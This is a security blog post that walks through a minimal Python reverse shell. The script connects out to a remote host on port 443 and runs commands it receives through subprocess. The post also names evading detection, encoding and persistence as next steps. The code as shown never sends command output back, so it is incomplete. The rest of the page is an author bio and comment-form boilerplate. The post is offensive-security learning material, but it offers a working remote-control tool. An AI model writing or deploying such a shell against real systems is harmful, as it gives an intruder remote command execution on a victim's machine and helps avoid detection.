Building a Python reverse shell

This week I decided to put together a basic Python reverse shell. The main purpose of this was to act like a meterpreter/nc reverse shell while being more customizable and (hopefully) harder to detect.

While this is just a simple reverse shell for a single client (for example: a netcat listener), it demonstrates how easy it is for Python to create a connection using sockets and subprocess. Additionally, it gives me something to build on in the future.

To start, the code is as follows:

import socket
import subprocess
import sys
RHOST = ""
RPORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
while True:
     data = s.recv(1024)
     conn = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                             stderr=subprocess.PIPE, stdin=subprocess.PIPE)
     STDOUT, STDERR = conn.communicate()

And here is the client in action!

Python Reverse Shell - Execution

There are some tweaks that could be made for better persistence and error handling, but those are not necessary for the current basic operation.

Python Reverse Shell - Error

That said, this is a great start for a reverse shell, and something I needed to add to my toolbox anyway.

The next major steps for this shell are as follows:

  • Add ability for multiple clients
  • Add support for at least encoding, if not encrypting
  • Look into client specific commands similar to meterpreter
  • Test, and avoid, detection
  • Improve error handling and persistence

The code and updates can be found in my GitHub repository.

doyler on Githubdoyler on Twitter
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

As an Amazon Associate I earn from qualifying purchases.

Common passed on this blog, I made it to a jam.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

ERROR: si-captcha.php plugin: GD image support not detected in PHP!

Contact your web host and ask them to enable GD image support for PHP.

ERROR: si-captcha.php plugin: imagepng function not detected in PHP!

Contact your web host and ask them to enable imagepng for PHP.

This site uses Akismet to reduce spam. Learn how your comment data is processed.